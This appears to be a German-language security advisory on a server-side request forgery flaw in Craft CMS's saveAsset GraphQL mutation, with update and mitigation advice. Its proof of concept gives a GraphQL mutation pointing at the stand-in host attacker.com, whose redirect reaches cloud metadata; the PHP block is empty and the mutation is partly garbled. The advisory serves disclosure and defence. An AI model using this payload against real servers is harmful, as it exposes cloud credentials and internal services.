SSRF in GraphQL Asset Mutation via HTTP Redirect
Beschreibung
## Zusammenfassung Die `saveAsset` GraphQL-Mutation validiert den ursprünglichen URL-Hostnamen und löste IP gegen eine Blockliste, aber Guzzle folgt standardmäßig HTTP-Weiterleitungen. Ein Angreifer kann alle SSRF-Schutzmaßnahmen umgehen, indem er eine Umleitung hostet, die auf Cloud-Metadaten-Endpunkte oder interne IP-Adressen verweist. --- ## Proof of Concept 1. Hosten Sie ein Redirect-Skript auf Ihrem Server (z. B. `redirect.php`): ``php`` 2. Senden Sie die folgende GraphQL-Mutation: ```graphql-Mutation { save images Asset( file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } ``` Die Anwendung validiert `attacker.com` (passes). Cloud-Metadaten werden als Asset gespeichert --- ## Mitigation - Disable redirects. ## Referenzen https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aa19fa98
Quellen & weiterführende Informationen
Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.
Was ist zur Behebung zu tun?
Auf eine behobene Version aktualisieren: 5.8.22, 4.16.18.
Empfohlene Schritte
- Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
- Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
- Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
- Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.
Übergangsmaßnahmen
- Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
- WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
- Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.